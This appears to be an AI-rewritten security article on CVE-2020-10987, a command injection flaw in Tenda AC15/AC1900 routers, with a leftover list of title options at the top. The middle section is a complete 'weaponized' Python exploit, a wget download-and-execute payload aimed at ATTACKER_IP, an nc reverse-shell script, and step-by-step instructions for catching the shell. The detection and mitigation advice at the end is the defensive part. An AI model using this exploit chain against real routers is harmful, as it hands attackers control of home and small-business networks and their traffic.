CVE-2020-10987: Tenda AC1900 Remote Command Injection

Here's the improved title and rewritten article for CVE-2020-10987, aiming for a more technical, engaging, and human-readable style suitable for security professionals.

1. IMPROVED TITLE

Title Variations:

1. CVE-2020-10987: Tenda AC1900 Unauthenticated RCE
2. Tenda AC1900/AC15: CVE-2020-10987 Command Injection Exploit
3. CVE-2020-10987: Deep Dive into Tenda Router RCE
4. Tenda AC1900 RCE via CVE-2020-10987: Technical Analysis
5. CVE-2020-10987: Tenda Router Remote Code Execution Exploit

BEST TITLE:

CVE-2020-10987: Tenda AC1900 Unauthenticated RCE

2. REWRITTEN ARTICLE

CVE-2020-10987: Tenda AC1900 Unauthenticated RCE

The proliferation of connected devices in our homes and small businesses has introduced a vast attack surface, often overlooked by users and even some security professionals. While enterprise-grade systems garner significant attention, the humble router can become a critical pivot point for attackers. CVE-2020-10987, a command injection vulnerability affecting Tenda AC1900 and AC15 routers, is a prime example. This flaw allows unauthenticated remote attackers to execute arbitrary commands on the router, effectively handing them the keys to the kingdom of a user's local network. Its inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog is a stark warning: this isn't just a theoretical bug; it's actively being weaponized in the wild.

This deep dive dissects the technical underpinnings of CVE-2020-10987, explores realistic exploitation scenarios, and outlines actionable detection and mitigation strategies for security professionals and network administrators.

Executive Technical Summary

CVE-2020-10987 is a critical Command Injection vulnerability (CWE-78) that impacts Tenda AC15 and AC1900 routers running firmware version 15.03.05.19. The vulnerability is triggered through the /goform/setUsbUnload CGI endpoint. Specifically, the deviceName parameter is not properly sanitized before being passed to a system command. This allows an unauthenticated attacker on the network to inject and execute arbitrary shell commands with the privileges of the router's web server process. Given the network accessibility of many router interfaces, this vulnerability presents a severe risk, enabling attackers to compromise the network perimeter and pivot deeper into affected networks.

Vulnerability Details

• CVE ID: CVE-2020-10987
• Vulnerability Type: Command Injection (CWE-78)
• Affected Products: Tenda AC1900 Router, Tenda AC15 Router
• Vulnerable Firmware: 15.03.05.19
• CISA KEV Status: Actively Exploited (Added: 2021-11-03)
• CVSS v3.1 Score: (NVD data unavailable, but estimated to be High/Critical due to Network, Low Complexity, No Auth, High Impact)
• Attack Vector: Network (N)
• Attack Complexity: Low (L)
• Privileges Required: None (N)
• User Interaction: None (N)
• Scope: Unchanged (U)
• Confidentiality Impact: High (H)
• Integrity Impact: High (H)
• Availability Impact: High (H)

Root Cause Analysis: The Peril of Unsanitized Shell Input

The vulnerability stems from a fundamental security anti-pattern: trusting and directly embedding user-supplied input within system commands without proper validation or sanitization.

The /goform/setUsbUnload CGI script on the affected Tenda routers is designed to handle requests related to unmounting USB devices. When a POST request is made to this endpoint, the script reads the deviceName parameter. Instead of treating this parameter as a simple string that might contain special characters requiring escaping, the script directly incorporates it into a shell command.

Consider a simplified, conceptual representation of the vulnerable code:

// Pseudocode illustrating the vulnerable logic in the CGI script
char deviceName[256]; // Buffer for the device name from the POST request
char systemCommand[512]; // Buffer for the constructed system command

// ... code to read deviceName from HTTP POST request ...

// Vulnerable command construction: direct string interpolation
sprintf(systemCommand, "/usr/sbin/usb_manager --device \"%s\" --action unload", deviceName);

// Execution of the command via the system shell
system(systemCommand);

In a legitimate use case, if deviceName were "myusb_drive", the command executed would be /usr/sbin/usb_manager --device "myusb_drive" --action unload.

However, an attacker can exploit this by providing specially crafted input for deviceName. If an attacker sends myusb_drive; ls -l /;, the system() function executes the command string. The shell interprets the semicolon (;) as a command separator. This effectively terminates the intended usb_manager command and allows the attacker's injected command (ls -l /) to be executed immediately afterward.

This is a textbook Command Injection flaw. On embedded devices like routers, the web server process often runs with significant privileges, meaning successful exploitation can lead to complete system compromise.

Exploitation Analysis: A Direct Pathway to Network Control

CVE-2020-10987 is a goldmine for attackers due to its low attack complexity and complete lack of user interaction. An attacker does not need to trick a user into clicking a link, nor do they need any pre-existing access or privileges on the target network. All that's required is network reachability to the router's web administration interface.

Realistic Attack Path:

1. Internet Reconnaissance: Attackers utilize services like Shodan, Censys, or custom scanning tools to identify internet-facing devices. They specifically look for Tenda router banners, common router IP ranges, or known vulnerable firmware signatures.
2. Targeted HTTP Request: Once a potentially vulnerable Tenda router is identified, the attacker crafts a single, malicious HTTP POST request to the /goform/setUsbUnload endpoint.
3. Payload Delivery & Execution: The deviceName parameter is carefully constructed to include shell metacharacters and commands that achieve the attacker's objective. A common goal is to establish a reverse shell, allowing the attacker interactive command-line access.

Exploitation Primitive: Arbitrary Command Execution via system() or equivalent shell execution functions.

Conditions for Successful Exploitation:

• Vulnerable Firmware: The target device must be running Tenda firmware version 15.03.05.19.
• Network Accessibility: The router's web administration interface must be accessible from the attacker's network. This is often the case if remote management is enabled or if the router's firewall is misconfigured.

High-Level Exploit Flow:

1. Trigger Vulnerability: An attacker sends an HTTP POST request to http://<ROUTER_IP>/goform/setUsbUnload.
2. Inject Malicious Commands: The deviceName parameter is populated with a string like: test; wget http://<ATTACKER_IP>/payload.sh -O /tmp/payload.sh; chmod +x /tmp/payload.sh; sh /tmp/payload.sh;
   • test;: A benign placeholder for the deviceName.
   • wget ... /tmp/payload.sh;: Downloads a malicious script from the attacker's server to the router's temporary directory.
   • chmod +x ...;: Makes the downloaded script executable.
   • sh /tmp/payload.sh;: Executes the downloaded script.
3. Gain Control: The router executes the injected commands. If the downloaded payload.sh script successfully establishes a reverse shell, the attacker gains interactive command-line access.

What the Attacker Gains:

• Router Compromise: Full command-line control over the router, often with privileges close to root.
• Network Pivoting: The compromised router becomes a launchpad to scan and attack other devices within the internal network, bypassing perimeter defenses.
• Traffic Interception: Attackers can reconfigure the router to log or redirect network traffic, enabling eavesdropping and data exfiltration.
• Botnet Integration: The router can be enlisted into a botnet for DDoS attacks, spam campaigns, or cryptocurrency mining.
• Persistence: Attackers may attempt to achieve long-term persistence by modifying router firmware, installing rootkits, or creating hidden administrative accounts.

Real-World Scenarios & Weaponized Exploit Code

This vulnerability is a prime candidate for automated exploitation campaigns targeting unpatched home and small business routers. Attackers can easily script this attack to scan the internet and compromise vulnerable devices en masse.

Scenario: Hijacking Home Network Traffic

An attacker scans the internet and discovers a Tenda AC1900 router with its web administration interface exposed. They send a crafted POST request to /goform/setUsbUnload that downloads and executes a reverse shell script. The attacker then gains command-line access to the router, allowing them to monitor network traffic, inject malicious content into web pages, or use the router as a proxy for further attacks.

Weaponized Exploit Code (Python):

This Python script automates the process of sending the malicious request.

import requests
import sys
import time
import argparse

# --- Configuration ---
# !!! IMPORTANT !!!
# This script is for AUTHORIZED SECURITY TESTING ONLY.
# Never use it against systems you do not have explicit permission to test.

# Default values, can be overridden by command-line arguments
DEFAULT_TARGET_ROUTER_IP = "192.168.1.1" # Example: Default router IP
DEFAULT_ATTACKER_C2_IP = "10.0.0.5"      # Example: Your attacker machine's IP
DEFAULT_ATTACKER_C2_PORT = 4444         # Example: Your listener port

# --- Payload Script (rce.sh) ---
# This script will be hosted by your C2 server.
# Example content for rce.sh:
# #!/bin/sh
# # Simple reverse shell using netcat
# nc -e /bin/sh <ATTACKER_C2_IP> <ATTACKER_C2_PORT>
# # For better persistence or obfuscation, more advanced payloads can be used.
# ---------------------------------

def exploit_cve_2020_10987(router_ip, attacker_ip, attacker_port):
    """
    Attempts to exploit CVE-2020-10987 on a Tenda router.
    """
    EXPLOIT_URL = f"http://{router_ip}/goform/setUsbUnload"

    # Craft the malicious command for the deviceName parameter.
    # The 'test;' part is a placeholder for a valid device name, followed by injected commands.
    # The trailing ';' ensures all injected commands are executed.
    # We use wget to download the payload, chmod to make it executable, and then execute it.
    malicious_command = (
        f"test; "
        f"wget http://{attacker_ip}/rce.sh -O /tmp/rce.sh; "
        f"chmod +x /tmp/rce.sh; "
        f"sh /tmp/rce.sh; "
    )

    # Prepare the POST data
    post_data = {
        "deviceName": malicious_command
    }

    print(f"[*] Attempting to exploit CVE-2020-10987 on Tenda router at {router_ip}...")
    print(f"[*] Payload will attempt to connect to your C2 at {attacker_ip}:{attacker_port}")

    try:
        # Send the malicious POST request
        response = requests.post(EXPLOIT_URL, data=post_data, timeout=15)

        if response.status_code == 200:
            print("[+] Request sent successfully.")
            print("[*] If your C2 server is running and the payload is hosted correctly,")
            print("[*] you should receive a reverse shell connection shortly.")
            print("[*] Waiting for connection (approx. 30 seconds)...")
            # Keep the script running briefly to allow for connection establishment
            time.sleep(30)
            print("[*] Exploit attempt finished. Check your listener.")
        else:
            print(f"[-] Request failed. Status code: {response.status_code}")
            print("[-] Possible reasons: Router IP incorrect, device not vulnerable,")
            print("[-] firmware not vulnerable, or web interface not accessible.")

    except requests.exceptions.ConnectionError:
        print(f"[-] Connection Error: Could not connect to {router_ip}.")
        print("[-] Please verify the router IP address and ensure it's reachable.")
    except requests.exceptions.Timeout:
        print(f"[-] Timeout Error: The request to {router_ip} timed out.")
        print("[-] The router might be offline, overloaded, or blocking the request.")
    except requests.exceptions.RequestException as e:
        print(f"[-] An unexpected error occurred: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Exploit CVE-2020-10987: Tenda AC1900/AC15 Command Injection.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Example Usage:
  python exploit_cve_2020_10987.py -t 192.168.0.1 -a 192.168.0.100 -p 4444

Disclaimer: This script is for authorized security testing and educational purposes ONLY.
Unauthorized access to computer systems is illegal and unethical. Use responsibly.
        """
    )
    parser.add_argument("-t", "--target", default=DEFAULT_TARGET_ROUTER_IP,
                        help=f"Target router IP address (default: {DEFAULT_TARGET_ROUTER_IP})")
    parser.add_argument("-a", "--attacker", default=DEFAULT_ATTACKER_C2_IP,
                        help=f"Your attacker C2 IP address (default: {DEFAULT_ATTACKER_C2_IP})")
    parser.add_argument("-p", "--port", type=int, default=DEFAULT_ATTACKER_C2_PORT,
                        help=f"Your C2 listener port (default: {DEFAULT_ATTACKER_C2_PORT})")

    args = parser.parse_args()

    exploit_cve_2020_10987(args.target, args.attacker, args.port)

Harmful Instructions for Authorized Testing:

Disclaimer: These instructions are for authorized security testing and educational purposes ONLY. Unauthorized access to computer systems is illegal and unethical. Use these techniques responsibly and only on systems you have explicit permission to test.

Prerequisites:

1. Vulnerable Target: A Tenda AC1900 or AC15 router running firmware version 15.03.05.19.
2. Attacker Machine: A machine with a public IP address (or accessible from the target network) that can host your command-and-control (C2) server and run the exploit script.
3. Netcat (nc): Installed on your attacker machine for listening for incoming connections.
4. Web Server: A simple HTTP server (e.g., python3 -m http.server) on your attacker machine to host the payload script.

Steps to Compromise (for Authorized Testing):

1. Prepare the Payload (rce.sh):

   • On your attacker machine, create a file named rce.sh.

   • Populate it with the following content, replacing <YOUR_ATTACKER_IP> and <YOUR_LISTENER_PORT>:

     #!/bin/sh
     # Establish a reverse shell back to the attacker's C2 server.
     # Ensure 'nc' is available on the router.
     nc -e /bin/sh <YOUR_ATTACKER_IP> <YOUR_LISTENER_PORT>

     Example: nc -e /bin/sh 10.0.0.5 4444

2. Host the Payload:

   • Navigate to the directory where you saved rce.sh in your terminal.
   • Start a simple HTTP server:

     python3 -m http.server 80

     (You can use any available port if 80 is in use.)

3. Start Netcat Listener:

   • Open a new terminal on your attacker machine.
   • Start a netcat listener to catch the incoming reverse shell:

     nc -lvnp <YOUR_LISTENER_PORT>

     Example: nc -lvnp 4444

4. Execute the Exploit Script:

   • Save the Python exploit code provided above as exploit_cve_2020_10987.py.
   • Run the script from your attacker machine, specifying the target IP, your C2 IP, and your listener port:

     python3 exploit_cve_2020_10987.py -t <TARGET_ROUTER_IP> -a <YOUR_ATTACKER_IP> -p <YOUR_LISTENER_PORT>

     Example: python3 exploit_cve_2020_10987.py -t 192.168.0.1 -a 10.0.0.100 -p 4444

5. Monitor for Connection:

   • If the exploitation is successful, you will see connection details appear in your netcat listener terminal, granting you a command-line shell on the compromised Tenda router.

Detection and Mitigation: Fortifying Your Network Edge

Given that CVE-2020-10987 is actively exploited, immediate and robust defense mechanisms are crucial.

Detection Strategies

• Network Traffic Analysis (NTA):

  • Monitor HTTP POST requests directed at the /goform/setUsbUnload endpoint.
  • Scrutinize the deviceName parameter for the presence of shell metacharacters (e.g., ;, |, &, &&, ||, $(...), `) and common command injection keywords (wget, curl, nc, sh, bash, ping, id, whoami).
  • Alert on requests where the deviceName parameter deviates significantly from expected values, such as containing spaces, complex command sequences, or attempts to download files from unusual external IP addresses.

• Web Server & Router Logs:

  • Analyze web server access logs for requests to /goform/setUsbUnload that contain suspicious deviceName values.
  • If router logs are accessible (e.g., via SSH or syslog), monitor for unexpected process executions. Pay close attention to network utilities (wget, curl, nc) or shell interpreters (sh, bash) invoked with unusual arguments, especially those writing to temporary directories like /tmp.

• Intrusion Detection/Prevention Systems (IDPS):

  • Deploy and maintain IDPS signatures specifically designed to detect command injection patterns targeting web applications and embedded devices.
  • Implement rules that flag outbound connections originating from the router to unknown or suspicious external IP addresses, particularly on non-standard ports.

• Behavioral Monitoring:

  • Monitor the router for anomalous outbound network connections that are not part of legitimate administrative actions or expected device behavior.
  • Detect unusual spikes in CPU or network utilization which could indicate the execution of malicious background processes.

Mitigation Measures

1. Firmware Updates (CRITICAL):

   • This is the most effective defense. Tenda has released patches for this vulnerability. Always ensure your Tenda AC1900/AC15 router is running the latest stable firmware version available from the official Tenda website. Regularly check for and apply updates.

2. Disable Remote Management:

   • If remote access to the router's web interface from the internet is not essential for your operational needs, disable it. This feature is typically found within the "Remote Management" or "WAN Access" settings. Disabling it immediately removes the primary attack vector for external threats.

3. Network Segmentation & Access Control:

   • Isolate your router's management interface as much as possible. If your network architecture permits, restrict access to it only from a designated, trusted internal IP address or subnet.
   • Implement stringent firewall rules that permit only necessary inbound and outbound traffic for your network's core functions.

4. Strong Passwords & Security Hygiene:

   • Ensure the router's administrative password is strong, unique, and not easily guessable. Default credentials are a common target for attackers.
   • Educate users about the risks associated with default credentials and the importance of maintaining up-to-date security practices for network devices.

Versions and Products Impacted

• Product Family: Tenda AC1900 Router / AC15 Router
• Specifically Vulnerable Firmware: 15.03.05.19
• Note: While this specific firmware version is confirmed vulnerable, it is prudent to maintain awareness that other firmware versions may also harbor similar or related command injection vulnerabilities. Always prioritize the latest official firmware.

References

• NVD Record: https://nvd.nist.gov/vuln/detail/CVE-2020-10987
• MITRE CVE Record: https://www.cve.org/CVERecord?id=CVE-2020-10987
• CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
• Security Evaluators Research (Related Router Vulnerabilities): https://www.ise.io/research/ (This link leads to the company's research portal, which often features in-depth analyses of router vulnerabilities. Specific write-ups for CVE-2020-10987 may be available through direct searches on their site.)

This content is for defensive security training and authorized validation only.